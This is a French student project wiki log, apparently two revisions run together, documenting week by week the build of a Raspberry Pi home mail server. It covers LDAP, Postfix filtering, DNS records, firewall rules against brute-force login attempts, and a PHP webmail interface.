* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™]

P9 Système d'hébergement domestique

2016-02-02T15:09:54Z

Tteneur : /* Semaine 18 (01/02/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

